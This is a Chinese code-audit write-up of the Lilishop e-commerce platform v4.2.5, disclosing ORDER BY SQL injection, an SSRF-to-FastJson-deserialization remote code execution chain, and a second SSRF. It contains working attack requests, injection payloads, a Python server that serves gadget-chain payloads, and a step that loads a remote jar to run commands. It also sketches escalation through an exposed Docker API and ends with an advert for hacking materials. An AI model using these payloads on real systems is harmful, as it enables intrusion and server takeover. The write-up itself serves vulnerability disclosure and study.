Lilishop 开源商城系统代码审计

Lilishop 开源商城系统是基于SpringBoot的全端开源电商商城系统,是北京宏业汇成科技有限公司提供的开源系统。该开源商城包含的功能点多,涵盖业务全面,代码审计时没有过于关注业务逻辑只关注了对系统的完整性、保密性、可用性造成损坏的漏洞点。文章分享了比较有意思的SSRF利用方式。

0x00 前言

Lilishop 开源商城系统是基于SpringBoot的全端开源电商商城系统,是北京宏业汇成科技有限公司提供的开源系统。该开源商城包含的功能点多,涵盖业务全面,代码审计时没有过于关注业务逻辑只关注了对系统的完整性、保密性、可用性造成损坏的漏洞点。文章分享了比较有意思的SSRF利用方式。

0x01 声明

遵纪守法
公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。
请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。
请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
一切未经授权的网络攻击均为违法行为,互联网非法外之地。
漏洞报送
该文章涉及的漏洞已提交到CNVD、CNNVD平台。
文章转载
商业转载请联系作者获得授权,非商业转载请注明出处。
作者公众号:响尾蛇社区

0x02 环境

Lilishop 开源商城系统版本:v4.2.5
系统环境:Window11
JAVA版本:1.8.0_381
Nodejs版本:v14.21.3

0x03 安装

搭建该系统需要配置内存大于或等于32GB,需要部署买家、卖家、商城管理三端,分别有前后端,一共六个服务。
参考:本地搭建(Windows) · LILISHOP-开发者中心
拉取后端源码

git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop.git

拉取前端源码

git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop-ui.git

前端源码初始化并运行

npm install yarn
yarn install 
yarn run dev

在安装过程中我需要了下面的报错问题。

Lilishop 开源商城系统代码审计_第1张图片

解决命令如下:

yarn remove webpack
yarn remove compression-webpack-plugin
yarn add webpack@^4.36.0
yarn add compression-webpack-plugin@^6.0.5

0x04 代码审计

【高危】分页插件导致数十个SQL注入

这里的SQL注入漏洞点都是由一个地方导致的,漏洞注入的地方为order by,依据 Mybatis 特性不能多行执行,且存在函数黑名单,所以利用上有限。

漏洞复现

【前台】漏洞位置:获取APP版本

构造数据包:

GET /buyer/other/appVersion/appVersion/ANDROID?pageNumber=1&pageSize=5&type=ANNOUNCEMENT&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc HTTP/1.1
Host: localhost:8888
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
uuid: 522c39df-cd28-4edd-a46e-4d38b717554e
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:10000
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:10000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Lilishop 开源商城系统代码审计_第2张图片

后台查看SQL执行情况:

Lilishop 开源商城系统代码审计_第3张图片

预编译的SQL语句为:

SELECT id, create_time, create_by, version, version_name, content, force_update, download_url, type, version_update_date FROM li_app_version WHERE (type = ?) ORDER BY updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) DESC LIMIT ?

除了报错注入,我们还可以使用布尔方式进行注入:
语句是获取所有表名并使用group_concat将所有表名合成一行字符串输出,我们通过这种布尔的方式可以逐步爆破出所有的表名。

1-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=73,1,(select 1 union select 2))

如果字符串第一位不是为ascii码中的73就会出现以下报错。

Lilishop 开源商城系统代码审计_第4张图片

1-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=108,1,(select 1 union select 2))

正确后正常返回数据。

Lilishop 开源商城系统代码审计_第5张图片

【后台】漏洞位置:计量单位

访问 http://localhost:10003/goodsUnit 登录后台并进入到商品->计量单位界面。

Lilishop 开源商城系统代码审计_第6张图片

抓包并修改sort参数为 payload:

updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)
GET /manager/goods/goodsUnit?_t=1690460576&pageNumber=1&pageSize=10&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc&name= HTTP/1.1
Host: localhost:8887
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyQ29udGV4dCI6IntcInVzZXJuYW1lXCI6XCJhZG1pblwiLFwibmlja05hbWVcIjpcIuWIneS4gFwiLFwiZmFjZVwiOlwiaHR0cHM6Ly9saWxpc2hvcC1vc3Mub3NzLWNuLWJlaWppbmcuYWxpeXVuY3MuY29tLzY1ZTg3ZmZhNzE4YjQyYmI5YzIwMTcxMjU2NmRiYzlhLnBuZ1wiLFwiaWRcIjpcIjEzMzczMDYxMTAyNzc0NzYzNTJcIixcImxvbmdUZXJtXCI6ZmFsc2UsXCJyb2xlXCI6XCJNQU5BR0VSXCIsXCJpc1N1cGVyXCI6dHJ1ZX0iLCJzdWIiOiJhZG1pbiIsImV4cCI6MTY5MDQ2MjI5OX0.3R2xS64WcysJVEJwnVpOZwLqMsMVGwYtuD9Y7qQIyYE
uuid: 41e9b550-5ee8-4db1-9533-129a5492af48
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:10003
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:10003/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Lilishop 开源商城系统代码审计_第7张图片

后台查看SQL执行情况:

Lilishop 开源商城系统代码审计_第8张图片

预编译的SQL语句为:

SELECT id, name, create_by, create_time, update_by, update_time, delete_flag FROM li_goods_unit ORDER BY updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) DESC LIMIT ?

更多的利用方式:常见的sql注入方式和waf绕过 - sp4rk’s blog
默认开启Druid拦截功能:Druid拦截功能的配置与简单绕过
拦截功能配置:配置 wallfilter
默认函数黑名单:

Lilishop 开源商城系统代码审计_第9张图片

漏洞分析

其中的initPage函数处理中使用了addOrder但是没有对sort进行SQL语句过滤。
framework/src/main/java/cn/lili/mybatis/util/PageUtil.java

Lilishop 开源商城系统代码审计_第10张图片

全局搜索PageUtil.initPage

Lilishop 开源商城系统代码审计_第11张图片

根据spring自动绑定的特性,若此时加入orders参数的传递,同样的后端会进行对应的实体封装,最终带入到sql查询中,同时因为order by场景下MybatisPlus并没有相关的安全措施 ,会导致SQL注入风险。
通过这种请求入口,自动获取ordersort字段。以下是其中一个。
manager-api/src/main/java/cn/lili/controller/goods/GoodsUnitManagerController.java

Lilishop 开源商城系统代码审计_第12张图片

断点测试时,发现存在恶意的sort内容被保留,并在后续拼接到预编译SQL语句。

Lilishop 开源商城系统代码审计_第13张图片

关于分页插件注入更多信息请查看:SecIN

【高危】SSRF导致FastJson反序列化RCE

漏洞复现

我们准备一个返回FastJson payload 的响应数据包。
这里我从Maven拉取的Fastjson版本较高1.2.78(依据framework/pom.xml自动拉取)

image.png

我选择使用 payload

{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

# 创建一个自定义的HTTP请求处理类
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        # 设置响应头
        self.send_response(200)
        self.send_header('Content-type', 'application/json')
        self.end_headers()

        # 处理POST请求的逻辑
        if self.path == '/getmsg':
            # 在这里编写处理POST请求的代码
            # 例如,您可以从请求中获取数据,进行处理,然后返回响应数据
            response_data = '{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}'
            self.wfile.write(response_data.encode())
        else:
            # 如果请求路径不是'/getmsg',返回404 Not Found
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b'404 Not Found')

# 启动HTTP服务器并监听指定端口
def start_http_server(port=14533):
    server_address = ('', port) 
    httpd = HTTPServer(server_address, MyHTTPRequestHandler)
    print(f"Starting HTTP server on port {port}...")
    try:
        # 启动HTTP服务器,等待请求
        httpd.serve_forever()
    except KeyboardInterrupt:
        # 捕捉Ctrl+C退出信号,关闭HTTP服务器
        httpd.server_close()
        print("\nHTTP server stopped.")

if __name__ == '__main__':
    # 启动HTTP服务器并监听端口8000
    start_http_server()

更多的payload:GitHub - safe6Sec/Fastjson: Fastjson姿势技巧集合

使用python运行该文件并进入到运营后台 http://localhost:10003/sys/setting

查看物流处利用

设置->系统设置->快递鸟设置reqURL修改成http://127.0.0.1:14533/getmsg

Lilishop 开源商城系统代码审计_第14张图片

准备好这个之后,我们有很多出地方可以出发这个请求。
比如这里是商家查看获取物流,我们还可以在买家端、运营端找到这个功能。
这里是需要存在一个订单处于已发货状态。

Lilishop 开源商城系统代码审计_第15张图片

当我们点击后在dnslog.cn可以获得解析记录。

Lilishop 开源商城系统代码审计_第16张图片

Fastjson <= 1.2.80 可以打三种不同的利用链,这里我发现存在其中一种利用链groovy
org.codehaus.groovy.control.CompilationFailedException

Lilishop 开源商城系统代码审计_第17张图片

改写我们的Exp python文件。

...

        # 处理POST请求的逻辑
        if self.path == '/getmsg':
            # 在这里编写处理POST请求的代码
            # 例如,您可以从请求中获取数据,进行处理,然后返回响应数据
            # response_data = '{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}'
            response_data1 = "{\n" \
                "  \"@type\":\"java.lang.Exception\",\n"  \
                "  \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" \
                "  \"unit\":{\n" \
                "  }\n" \
                "}"
            response_data2 = "{\n" \
                        "  \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" \
                        "  \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" \
                        "  \"config\":{\n" \
                        "    \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" \
                        "    \"classpathList\":[\"http://127.0.0.1:35260/attack-1.jar\"]\n" \
                        "  },\n" \
                        "  \"gcl\":null,\n" \
                        "  \"destDir\": \"/tmp\"\n" \
                        "}";
            # self.wfile.write(json.dumps(response_data1).encode())
            self.wfile.write(response_data1.encode())
...

这里有两步请求 payload :

  1. 实例化org.codehaus.groovy.control.ProcessingUnit并把org.codehaus.groovy.control.ProcessingUnit加入反序列化缓存。

    {
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
    }
    
  2. 通过GroovyClassLoader加载恶意Class

    {
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
        "@type":"org.codehaus.groovy.control.CompilerConfiguration",
        "classpathList":"http://127.0.0.1:35260/attack-1.jar"
    }
    }
    

    下载 GitHub - Lonely-night/fastjsonVul: fastjson 80 远程代码执行漏洞复现
    修改attack/src/main/java/groovy/grape/GrabAnnotationTransformation2.java
    修改默认执行命令,我使用的是window环境,所以修改成calc.exe

Lilishop 开源商城系统代码审计_第18张图片

通过maven package打包成 jar,然后到jar的目录下执行python -m http.server 35260
接下来分别让FastJson解析两个payload后就执行了我们想要的命令。

Lilishop 开源商城系统代码审计_第19张图片

总的过程:

  1. 运营后台修改reqURL
  2. 启动 python 脚本进行监听
  3. 点击查看物流
  4. 编辑 python 脚本切换 payload 并启动监听
  5. 恶意jar目录下启动python http服务监听
  6. 点击查看物流
  7. Boom!

Lilishop 开源商城系统代码审计_第20张图片

参考资料:
fastjson 1.2.80绕过简单分析 - rnss - 博客园
fastjson 1.2.80 漏洞分析
Fastjson 漏洞梳理

打印电子面单处利用

设置->系统设置->快递鸟设置电子面单URL修改成http://127.0.0.1:14533/getmsg

Lilishop 开源商城系统代码审计_第21张图片

保存后,我们登录商家端,在订单->商品订单找一个待发货的订单,进入订单详情后,点击打印电子面单然后点击确认。

Lilishop 开源商城系统代码审计_第22张图片

脚本可以收到请求信息

Lilishop 开源商城系统代码审计_第23张图片

按照上面发送两个请求后一样能够RCE。

Lilishop 开源商城系统代码审计_第24张图片

漏洞分析

查看物流处利用

发现getOrderTracesByJson函数中存在两行代码:

String result = sendPost(ReqURL, params);
Map map = (Map) JSON.parse(result);

其作用是对ReqURL发起Post请求,然后将返回的内容交给FastJson的JSON.parse函数,即将返回的JSON内容转换成Java对象。
framework/src/main/java/cn/lili/modules/system/serviceimpl/LogisticsServiceImpl.java

Lilishop 开源商城系统代码审计_第25张图片

这里的ReqURL是由快递鸟设置的。

Lilishop 开源商城系统代码审计_第26张图片

只有同一文件中的函数getLogistic调用了它。

Lilishop 开源商城系统代码审计_第27张图片

但它存在两个用法,分别是AfterSaleServiceImplOrderServiceImpl,分别是查看订单里的查看物流功能和退货后里的查看物流功能,总共有五处可以触发该功能。

Lilishop 开源商城系统代码审计_第28张图片

查看物流实现的是getTraces接口。
framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java

Lilishop 开源商城系统代码审计_第29张图片

有三处调用,分别是买家、运营、商家。

Lilishop 开源商城系统代码审计_第30张图片

打印电子面单处利用

framework/src/main/java/cn/lili/modules/kdBrid/serviceImpl/KdNiaoServiceImpl.java

Lilishop 开源商城系统代码审计_第31张图片

Lilishop 开源商城系统代码审计_第32张图片

seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java

Lilishop 开源商城系统代码审计_第33张图片

总的来说,需要完成此RCE需要运营权限,需要存在一个待发货或者已发货订单,需要一台VPS,需要对方服务器能够出网。是一个后台的RCE漏洞,相对来说利用复杂度高。

【中危】商家后台添加商品处SSRF

漏洞出现的原因是没有对数据包中的图片网络地址进行校验,构造了GET请求。从具体来看,这里只能执行HTTP、HTTPS的协议且没有回显,能利用的范围极其有限。

漏洞复现

我们先在运营后台http://localhost:10003/sys/authLogin
设置->信任登录填写好appid和appSecret。

Lilishop 开源商城系统代码审计_第34张图片

然后进入卖家后台http://localhost:10002/liveGoods
营销->直播商品选择添加商品,任意选择商品点击确定。

Lilishop 开源商城系统代码审计_第35张图片

抓包后修改goodsImage参数即可。

Lilishop 开源商城系统代码审计_第36张图片

监听的服务能够接收到请求。

Lilishop 开源商城系统代码审计_第37张图片

请求数据包:

POST /store/broadcast/commodity HTTP/1.1
Host: localhost:8889
Content-Length: 280
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyQ29udGV4dCI6IntcInVzZXJuYW1lXCI6XCIxMzAxMTExMTExMVwiLFwibmlja05hbWVcIjpcIuW8oOS4iVwiLFwiZmFjZVwiOlwiaHR0cHM6Ly9saWxpc2hvcC1vc3Mub3NzLWNuLWJlaWppbmcuYWxpeXVuY3MuY29tLzE1OGJmZjgzMWNmZjQ5OWE4ZDQ1YTIyNmE2ZTAyMGMyLnBuZ1wiLFwiaWRcIjpcIjEzNzY0MTc2ODQxNDAzMjY5MTJcIixcImxvbmdUZXJtXCI6ZmFsc2UsXCJyb2xlXCI6XCJTVE9SRVwiLFwic3RvcmVJZFwiOlwiMTM3NjQzMzU2NTI0NzQ3MTYxNlwiLFwiY2xlcmtJZFwiOlwiMTM3NjQzMzU2NTI0NzQ3MTYxNlwiLFwic3RvcmVOYW1lXCI6XCLlrrblrrbkuZBcIixcImlzU3VwZXJcIjp0cnVlfSIsInN1YiI6IjEzMDExMTExMTExIiwiZXhwIjoxNjkwNDU4ODM5fQ.Ewl3h-FG0X46mhJWPS3ZKDvsOMmtwyuDtSM1wbr8umk
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
uuid: 4cbd68bb-d1cd-4763-b74e-961dc910f418
sec-ch-ua-platform: "Windows"
Origin: http://localhost:10002
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:10002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

[
  {
    "goodsId": "1422073672823595010",
    "goodsImage": "http://127.0.0.1:4567",
    "name": " OPPO Reno6 5G 星黛紫 8G+128G 64G",
    "price": 4999,
    "quantity": 95,
    "price2": "",
    "priceType": 1,
    "skuId": "1422073673050087425",
    "url": "pages/product/goods?id=1422073673050087425&goodsId=1422073672823595010"
  }
]

后续利用
受到CVE-2021-21287: 容器与云的碰撞——一次对MinIO的测试的启发,如果目标机器存在docker 2375端口监听且没有设置验证密码的情况下,我们可以通过SSRF请求2375的/build完成Build an image功能。挂载到特殊目录完成GetShell(只适合Linux系统)。
Docker Engine API v1.41 Reference

Lilishop 开源商城系统代码审计_第38张图片

如果出现开启但是没有监听可以通过游览这个页面解决
https://github.com/docker/for-win/issues/3546

漏洞分析

framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java

Lilishop 开源商城系统代码审计_第39张图片

framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java

Lilishop 开源商城系统代码审计_第40张图片

framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java

Lilishop 开源商城系统代码审计_第41张图片

seller-api/src/main/java/cn/lili/controller/other/broadcast/CommodityStoreController.java

Lilishop 开源商城系统代码审计_第42张图片

0x05 总结

在审计SpringBoot框架的代码时,我主要从高危漏洞入手,一般关注注入漏洞比较多。在实践过程中,大部分的业务点不会涉及到远程加载未验证类的情况,存在RCE的地方一般会伴随反序列化漏洞。

                                           hack渗透视频 网安资料欢迎领取

免费领取安全学习资料包!(私聊进群一起学习,共同进步)icon-default.png?t=N7T8https://docs.qq.com/doc/DRGJHbUxpTWR2Y3lq

你可能感兴趣的:(技术干货,开源,网络安全,web安全,网络,安全)